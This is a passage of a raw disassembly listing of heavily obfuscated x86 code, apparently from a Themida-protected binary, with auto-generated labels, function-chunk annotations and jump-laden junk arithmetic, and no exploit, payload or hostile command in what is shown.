loc_596BEB:				; CODE XREF: Themida_:00590305j
		sub	esi, 0E08046Fh
		jmp	loc_58FB5A

; =============== S U B	R O U T	I N E =======================================



sub_596BF6	proc near		; CODE XREF: sub_58E66C-8CAj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0058AE93 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058B39C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058C270 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058DCB7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058F5D2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058F8F4 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058FC61 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 00591168 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00591692 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00592032 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00592502 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00592AB5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00592C79 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005944C6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00594550 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00594897 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00595243 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059527E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059698F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00596EF5 SIZE 0000000D BYTES

		push	ebx
		mov	ebx, esp
		push	edi
		push	ebp
		push	7CE11892h
		pop	ebp
		or	ebp, 5D2D763Dh
		jno	loc_58B39C
		xor	ebp, 353D5537h
		jl	loc_592502
		pop	ecx


loc_596C1A:				; CODE XREF: Themida_:00594F4Dj
		mov	eax, [esp+4+var_4]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp+0]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_592AB5
sub_596BF6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_596C35:				; CODE XREF: sub_58E66C+1C06j
		sub	ecx, 293B2018h
		add	ecx, 0E196016Dh
		jmp	loc_59089F
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_596C46:				; CODE XREF: Themida_:005925C7j
		push	0E94h
		mov	[esp], eax
		mov	eax, 416E2E40h
		jmp	loc_592F24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_596C58:				; CODE XREF: sub_5F45E7-69669j
		pop	esp
		and	ebx, eax
		mov	eax, [esp+30h+var_32+2]
		add	esp, 4
		or	ebx, ebx
		jnz	loc_591E57
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	sub_58E600
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_596C77:				; CODE XREF: sub_591C99-5966j
		add	edi, 0DC1EE1DEh
		jmp	loc_58FB99
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_596C82:				; CODE XREF: sub_58E66C-DB7j
					; sub_596082-19Cj
		pop	edx
		xor	eax, 51453E01h
		xor	eax, 551A3FC4h
		jmp	loc_592A66
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D966


loc_596C92:				; CODE XREF: sub_58D966-2CAEj
		mov	[esp+4+var_4], edi
		push	ebx
		push	70FDh
		mov	[esp+0Ch+var_C], esi
		mov	esi, 2E084793h
		mov	ebx, 20565CABh
		jmp	loc_58D83B
; END OF FUNCTION CHUNK	FOR sub_58D966
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594299


loc_596CAD:				; CODE XREF: sub_594299-175Fj
		mov	[esp-4+arg_0], edx
		push	eax
		pushf
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_594299
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_596CB7:				; CODE XREF: sub_58E66C+22A7j
		xchg	ecx, [esp+8+var_8]
		pop	esp
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		mov	ebx, 30892E67h
		not	ebx
		xor	ebx, 3F901E3Eh
		jmp	loc_591C07
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594EC6


loc_596CD6:				; CODE XREF: sub_594EC6-1747j
		add	esp, 4
		xchg	eax, [esp+4+var_4]
		jmp	loc_593D35
; END OF FUNCTION CHUNK	FOR sub_594EC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_596CE4:				; CODE XREF: sub_596082+7Bj
		push	edx
		mov	edx, esp
		jmp	loc_590D68
; ---------------------------------------------------------------------------


loc_596CEC:				; CODE XREF: sub_596082-F69j
		add	ch, dh
		add	ch, 81h
		pop	edx
		shl	ch, 3
		jmp	loc_58CE50
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596B50


loc_596CFA:				; CODE XREF: sub_596B50-E8j
					; sub_58E66C+8859j
		or	ecx, edi
		pop	edi
		shr	ecx, 7
		xor	ecx, 1AFB316Bh
		xor	ecx, 1A21D792h
		add	ebx, ecx
		jmp	loc_5904EE
; END OF FUNCTION CHUNK	FOR sub_596B50
; ---------------------------------------------------------------------------


loc_596D13:				; CODE XREF: Themida_:0058F27Cj
		mov	edi, 137A4FEFh
		push	ecx
		push	edx
		jmp	loc_59349B
; ---------------------------------------------------------------------------


loc_596D1F:				; CODE XREF: Themida_:00593CDEj
		xor	bh, 86h
		neg	bh
		inc	bh
		push	ebx
		dec	byte ptr [esp+1]
		mov	ebx, [esp]
		add	esp, 4
		xor	bh, 99h
		add	al, 80h
		add	al, bh
		sub	al, 80h
		jmp	loc_58AF83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_596D3F:				; CODE XREF: sub_596082-6D9Dj
		not	esi
		push	ebx
		jmp	loc_58D09F
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D6A0


loc_596D47:				; CODE XREF: Themida_:loc_58E4A7j
					; sub_58D6A0+91E0j
		pop	ecx
		sub	esi, 4
		push	7515h
		mov	[esp+4+var_4], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		mov	[esp+0], edx
		mov	edx, 4
		and	ecx, edx
		jmp	loc_591A60
; END OF FUNCTION CHUNK	FOR sub_58D6A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_596D70:				; CODE XREF: sub_58C878+627j
		mov	[esp+0Ah+var_A], esi
		jmp	loc_58F96A
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------


loc_596D78:				; CODE XREF: Themida_:005971D4j
		pop	ebx
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_596EBA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_596D97:				; CODE XREF: sub_58E66C-33A8j
		pop	edi
		sub	esp, 4
		mov	[esp+8+var_8], esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], edx
		push	8786362h
		jmp	loc_594B88
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D250


loc_596DBB:				; CODE XREF: sub_58D250+46AFj
		mov	ecx, [esp+4+var_4]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_58BE33
; END OF FUNCTION CHUNK	FOR sub_58D250
; ---------------------------------------------------------------------------


loc_596DD2:				; CODE XREF: Themida_:00596462j
		pop	ebp
		jmp	loc_58D036
; ---------------------------------------------------------------------------


loc_596DD8:				; CODE XREF: Themida_:0058B826j
		neg	byte ptr [esp]
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_596DE1:				; CODE XREF: Themida_:0058D645j
		xor	ebx, 233F4F05h
		shl	ebx, 5
		neg	ebx
		add	ebx, 0F35AB6ABh
		sub	esi, ebx
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		jmp	loc_58B1AF
; ---------------------------------------------------------------------------


loc_596E01:				; CODE XREF: Themida_:00594E7Fj
		xor	ebp, 0E9815DBh
		jmp	loc_58AC57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_596E0C:				; CODE XREF: sub_58F160+2482j
		pop	dword ptr [eax]
		sub	dword ptr [eax], 2AAD0210h
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_596E19:				; CODE XREF: Themida_:005955A9j
		mov	edi, 42C1746Fh
		shr	edi, 8
		neg	edi
		jmp	loc_596A80
; ---------------------------------------------------------------------------


loc_596E28:				; CODE XREF: Themida_:0058EA19j
		sub	edi, 72147DB1h
		add	edi, esi
		add	edi, 72147DB1h
		pop	esi
		add	edx, edi
		pop	edi
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_591475
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_58D6E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_596E4E:				; CODE XREF: sub_58E66C+5CC5j
		xor	[esp+0Ah+var_C+2], ecx
		xor	ecx, [esp+0Ah+var_C+2]
		jmp	loc_59363E
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CE72


loc_596E59:				; CODE XREF: sub_58CE72+8101j
		not	dword ptr [esp+0]
		mov	edx, [esp+0]
		add	esp, 4
		sub	edx, 4F7AD91Eh
		mov	ebx, edx
		pop	edx
		sub	edi, 3F03032Ah
		sub	edi, ebx
		add	edi, 3F03032Ah
		pop	ebx
		push	edi
		push	[esp-8+arg_8]
		pop	edi
		jmp	loc_58C518
; END OF FUNCTION CHUNK	FOR sub_58CE72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59236E


loc_596E85:				; CODE XREF: sub_59236E+499j
		add	esp, 4
		add	esi, 0E4A8CC29h
		mov	edx, esi
		jmp	loc_592AFE
; END OF FUNCTION CHUNK	FOR sub_59236E
; ---------------------------------------------------------------------------


loc_596E98:				; CODE XREF: Themida_:0058B8C0j
		pop	esi
		mov	esi, [esp]
		push	edi
		jmp	loc_5961D8
; ---------------------------------------------------------------------------


loc_596EA2:				; CODE XREF: Themida_:0058C21Ej
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_58C654
; ---------------------------------------------------------------------------


loc_596EBA:				; CODE XREF: Themida_:00596D92j
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_596EBF:				; CODE XREF: sub_58E66C:loc_59535Dj
		and	edx, 25655869h
		jo	loc_596CFA
		sub	esp, 4
		mov	[esp+2+var_4+2], eax
		mov	eax, 1B238B5h
		jmp	loc_591069
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_596EDB:				; CODE XREF: Themida_:0058F64Fj
		push	esi
		jmp	loc_58ADCA
; ---------------------------------------------------------------------------


loc_596EE1:				; CODE XREF: Themida_:0059613Cj
		push	edi
		jmp	loc_59251B
; ---------------------------------------------------------------------------


loc_596EE7:				; CODE XREF: Themida_:0059406Fj
		mov	[esp], esp
		push	edx
		mov	edx, 4
		jmp	loc_58D300
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BF6


loc_596EF5:				; CODE XREF: sub_596BF6-46ECj
		mov	[esp-8+arg_4], ecx
		push	0E5F62CAh
		jmp	loc_58F8F4
; END OF FUNCTION CHUNK	FOR sub_596BF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596FD2


loc_596F02:				; CODE XREF: sub_596FD2-8567j
		not	edx
		and	edx, 56B077FDh
		not	edx
		add	edx, 4206222h
		add	ebp, edx
		pop	edx
		push	ebp
		push	[esp-4+arg_4]
		jmp	loc_5926EA
; END OF FUNCTION CHUNK	FOR sub_596FD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592C6D


loc_596F1F:				; CODE XREF: sub_592C6D-49B4j
		push	edi
		mov	edi, 3C1D2E1Ah
		jmp	loc_593091
; END OF FUNCTION CHUNK	FOR sub_592C6D
; ---------------------------------------------------------------------------


loc_596F2A:				; CODE XREF: Themida_:00592985j
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_596F2F:				; CODE XREF: Themida_:00595CCEj
		xchg	edx, [esp]
		pop	esp
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_5972E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D133


loc_596F3D:				; CODE XREF: sub_58D133+26Bj
		ror	[esp-8+arg_4], cl
		pushf
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_58D133
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B09E


loc_596F46:				; CODE XREF: sub_58B09E-38Fj
		mov	esi, 153213BDh
		jmp	loc_591C52
; END OF FUNCTION CHUNK	FOR sub_58B09E
; ---------------------------------------------------------------------------


loc_596F50:				; CODE XREF: Themida_:005920FEj
		mov	esp, [esp]
		and	[esp], ax
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_596F5D:				; CODE XREF: Themida_:0058B802j
		add	esi, ebp
		jmp	loc_595B8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F3F


loc_596F64:				; CODE XREF: sub_594F3F-7D1Aj
		xchg	eax, [esp+4+var_4]
		pop	esp
		idiv	cl
		movzx	cx, ah
		push	3DA2h
		mov	[esp+4+var_4], edx
		mov	edx, esp
		push	edi
		push	ebx
		jmp	loc_58F270
; END OF FUNCTION CHUNK	FOR sub_594F3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_596F7F:				; CODE XREF: sub_596082:loc_58BB64j
					; Themida_:00596281j
		push	ecx
		mov	ecx, 448A48F6h
		push	ebp
		mov	ebp, 3B9E2147h
		sub	ecx, 744374CDh
		add	ecx, ebp
		push	esi
		mov	esi, 744374CDh
		add	ecx, esi
		push	[esp+20h+var_20]
		pop	esi
		add	esp, 4
		pop	ebp
		shl	ecx, 2
		push	eax
		jmp	loc_58D91C
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	1817h
		mov	[esp], edi
		mov	edi, esp
		push	eax
		jmp	loc_596B07

; =============== S U B	R O U T	I N E =======================================



sub_596FD2	proc near		; CODE XREF: sub_59569E-1C36j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0058A595 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058B36B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058EA59 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005913EC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00591616 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005917F5 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005926EA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00593142 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059395D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00593F1F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00594EF0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00595E7F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00596F02 SIZE 0000001D BYTES

		push	ebp
		mov	ebp, 65D2067Ch
		xor	ebp, 490952F9h
		dec	ebp
		xor	ebp, 0B03A6Ah
		jmp	loc_59395D
sub_596FD2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_596FEA:				; CODE XREF: sub_596498-69B0j
		xor	ecx, 39C373Ah
		sub	ecx, 67792682h
		add	ecx, 46C9277Ah
		jmp	loc_5916FB
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_597001:				; CODE XREF: sub_596082-43EEj
		pop	edi
		add	esp, 4
		xchg	edx, edi
		not	edx
		xchg	edx, edi
		sub	edi, 812F5477h
		mov	edx, edi
		pop	edi
		mov	eax, 0BFC69079h
		add	eax, edx
		pop	edx
		jmp	loc_590B96
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59447B


loc_597021:				; CODE XREF: sub_59447B-729Bj
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_59447B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_597026:				; CODE XREF: sub_596082:loc_590219j
		sub	edx, 3B900F27h
		jo	loc_58D745
		jmp	sub_5964CE
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_597037:				; CODE XREF: Themida_:00597114j
		shr	edi, 8
		xchg	edx, edi
		not	edx
		xchg	edx, edi
		jmp	loc_59008C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_597045:				; CODE XREF: sub_58E66C+8C02j
		add	edx, edi
		pop	edi
		push	101Bh
		mov	[esp+2+var_4+2], edx
		push	dword ptr [esp+4]
		mov	edx, [esp+6+var_8+2]
		add	esp, 4
		pop	[esp+2+var_4+2]
		mov	esp, [esp+0]
		or	edx, eax
		jmp	loc_593382
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_59706A:				; CODE XREF: Themida_:0058DCA4j
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		imul	ecx
		jmp	loc_593235
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917EE


loc_597076:				; CODE XREF: sub_5917EE-256Aj
		add	esp, 4
		add	esi, 135537B5h
		push	esi
		jmp	loc_593C0D
; END OF FUNCTION CHUNK	FOR sub_5917EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_597085:				; CODE XREF: sub_58E66C+2E75j
		add	esp, 4
; END OF FUNCTION CHUNK	FOR sub_58E66C

; =============== S U B	R O U T	I N E =======================================



sub_597088	proc near		; CODE XREF: sub_58E66C+21A7j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058CCEE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00593465 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00595270 SIZE 0000000E BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		push	ebp
		mov	ebp, 2CBD5492h
		xor	[esp+8+var_4], ebp
		pop	ebp
		push	[esp+4+var_4]
		mov	eax, [esp+8+var_8]
		add	esp, 4
		sub	esp, 4
		jmp	loc_58CCEE
sub_597088	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_5970AD:				; CODE XREF: sub_591C99-12Aj
		shl	ch, 4
		jnz	loc_5924B5
		add	ch, 34h
		mov	dh, ch
		pop	ecx
		xor	dh, cl
		jmp	loc_58F68B
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_5970C3:				; CODE XREF: sub_593009-3A73j
		add	esp, 4
		shl	[esp-0Ch+arg_8], cl
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_5970D1:				; CODE XREF: sub_596082-7395j
		xor	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp+10h+var_10], ebp
		push	ebx
		push	71DEh
		mov	[esp+18h+var_18], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+18h+var_18]
		jmp	loc_591F3E
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_5970F9:				; CODE XREF: Themida_:0059763Fj
		shl	ecx, 4
		push	eax
		jmp	loc_59118A
; ---------------------------------------------------------------------------


loc_597102:				; CODE XREF: Themida_:0058F3E9j
		add	esp, 4
		pop	ebx
		xchg	eax, [esp]
		jmp	loc_5912BD
; ---------------------------------------------------------------------------


loc_59710E:				; CODE XREF: Themida_:00595205j
		and	edi, 598B6491h
		jmp	loc_597037
; ---------------------------------------------------------------------------


loc_597119:				; CODE XREF: Themida_:0058EDD9j
		push	3D351CEBh
		push	dword ptr [esp]
		pop	edi
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_58DFCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D112


loc_597132:				; CODE XREF: sub_58D112+5815j
		pop	edx
		xor	bl, 27h
		sub	al, 0ABh
		sub	al, 3Bh
		push	dx
		mov	dh, 0A6h
		add	al, dh
		pop	dx
		add	al, bl
		push	ebx
		push	ecx
		jmp	loc_58CD92
; END OF FUNCTION CHUNK	FOR sub_58D112
; ---------------------------------------------------------------------------


loc_59714B:				; CODE XREF: Themida_:0058C8EFj
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_58D520
; ---------------------------------------------------------------------------


loc_597162:				; CODE XREF: Themida_:00592778j
		shr	ebp, 3
		jns	loc_5925F8
		xor	ebp, 6C39BB53h
		push	ebp
		pop	esi
		pop	ebp
		add	eax, esi
		pop	edx


loc_597177:				; CODE XREF: Themida_:0058E0A4j
					; Themida_:loc_5939BDj
		mov	ebp, 27966BA1h
		and	ebp, 70CE08EEh
		shr	ebp, 7
		add	ebp, 24073Fh
		xor	ebx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 74AD6FA7h
		or	ebx, 4CEC1DD8h
		add	ebx, 0C60393AAh
		add	ebp, ebx
		pop	ebx
		add	ebp, ebx
		sub	ebp, 42F113A9h
		jmp	loc_594215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_5971B0:				; CODE XREF: sub_591C99+334Dj
		shr	ecx, 1
		jmp	loc_58BAA5
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_5971B7:				; CODE XREF: Themida_:loc_58BD8Bj
		sub	ecx, 8F0AA822h
		mov	esi, ecx
		jmp	loc_58BDAD
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_58D54A
; ---------------------------------------------------------------------------


loc_5971CC:				; CODE XREF: Themida_:00594793j
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		push	esp
		jmp	loc_596D78
; ---------------------------------------------------------------------------


loc_5971D9:				; CODE XREF: Themida_:00594E33j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_59080B
; ---------------------------------------------------------------------------


loc_5971F0:				; CODE XREF: Themida_:0058FED9j
		push	4E51h
		mov	[esp], ebx
		mov	ebx, 78950006h
		jmp	loc_596141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_597202:				; CODE XREF: sub_58E66C+CB5j
					; Themida_:0059562Fj
		pop	edx
		sub	esp, 4
		mov	[esp+10h+var_10], eax
		mov	eax, 571346F6h
		inc	eax
		add	eax, 3AD404Dh
		or	eax, 2FD50E70h
		xor	eax, 20B55D5Ch
		jmp	loc_590C97
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_597226:				; CODE XREF: Themida_:0058FCEEj
		mov	ebx, 4
		add	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		add	esp, 4
		sub	[esp], eax
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_597254:				; CODE XREF: Themida_:0058AE17j
		jmp	loc_594FD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_597259:				; CODE XREF: sub_58E66C+F8Cj
		mov	edx, [esp+1Ch+var_1C]
		add	esp, 4
		add	edx, 4
		push	edi
		mov	edi, 4
		jmp	loc_597045
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
		db 66h
		dd 667D7168h, 81623768h, 2ECh, 66FFE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C4A4


loc_597286:				; CODE XREF: sub_58C4A4+75D7j
		add	ebp, ebx
		mov	ebx, [esp+4+var_4]
		jmp	loc_593C50
; END OF FUNCTION CHUNK	FOR sub_58C4A4
; ---------------------------------------------------------------------------


loc_597290:				; CODE XREF: Themida_:0058A5BFj
					; Themida_:0059271Fj
		xchg	ebx, [esp]
		pop	esp
		push	esi
		mov	esi, 692D5DDCh
		jmp	loc_596858

; =============== S U B	R O U T	I N E =======================================



sub_59729F	proc near		; CODE XREF: sub_58E66C+6D16j

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0058E4AC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058FBA3 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00591A2D SIZE 0000000A BYTES

		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_58FBA3
sub_59729F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5972AD:				; CODE XREF: Themida_:00592DF0j
		add	eax, 2
		jmp	loc_5926BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_5972B5:				; CODE XREF: sub_591C99:loc_58D4E1j
		jmp	loc_58AB45
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_5972BA:				; CODE XREF: Themida_:0058EF16j
		pop	ecx
		jmp	loc_58ECF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B23


loc_5972C0:				; CODE XREF: sub_590B23+555Aj
		pop	edx
		push	ebx
		mov	ebx, 6062640Eh
		xor	ebp, ebx
		mov	ebx, [esp+8+var_8]
		jmp	loc_59750A
; END OF FUNCTION CHUNK	FOR sub_590B23
; ---------------------------------------------------------------------------


loc_5972D1:				; CODE XREF: Themida_:0058BDE1j
		pop	ebx
		or	ebx, 46A85FE7h
		push	ebp
		mov	ebp, 38715767h
		jmp	loc_58C86C
; ---------------------------------------------------------------------------


loc_5972E3:				; CODE XREF: Themida_:00596F38j
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		inc	byte ptr [esp]
		pushf
		jmp	loc_595A5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_5972F3:				; CODE XREF: sub_593009-87C3j
					; Themida_:0058A8CCj
		xor	edx, 326132AEh
		mov	ecx, edx
		pop	edx
		add	ecx, 972B83F7h
		add	edx, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_591FD3
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_59730D:				; CODE XREF: sub_596082-688j
		xor	ebx, 50D2109Eh
		jmp	loc_58D52F
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_597318:				; CODE XREF: Themida_:0058A881j
		sub	esi, edx
		pop	edx
		push	edi
		mov	edi, 4DD24974h
		xchg	ebx, edi
		jmp	loc_59186D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964CE


loc_597328:				; CODE XREF: sub_5964CE-882j
		push	1386h
		mov	[esp+4+var_4], ebp
		push	3FCh
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		jmp	loc_590748
; END OF FUNCTION CHUNK	FOR sub_5964CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_597343:				; CODE XREF: sub_58C878-1C4Cj
		mov	edx, [esp+0Eh+var_E]
		jmp	sub_593983
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------


loc_59734B:				; CODE XREF: Themida_:0058BF6Dj
		push	edi
		mov	edi, 4F2C10FAh
		sub	ebx, 42A048F5h
		add	ebx, edi
		add	ebx, 42A048F5h
		jmp	loc_595F97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


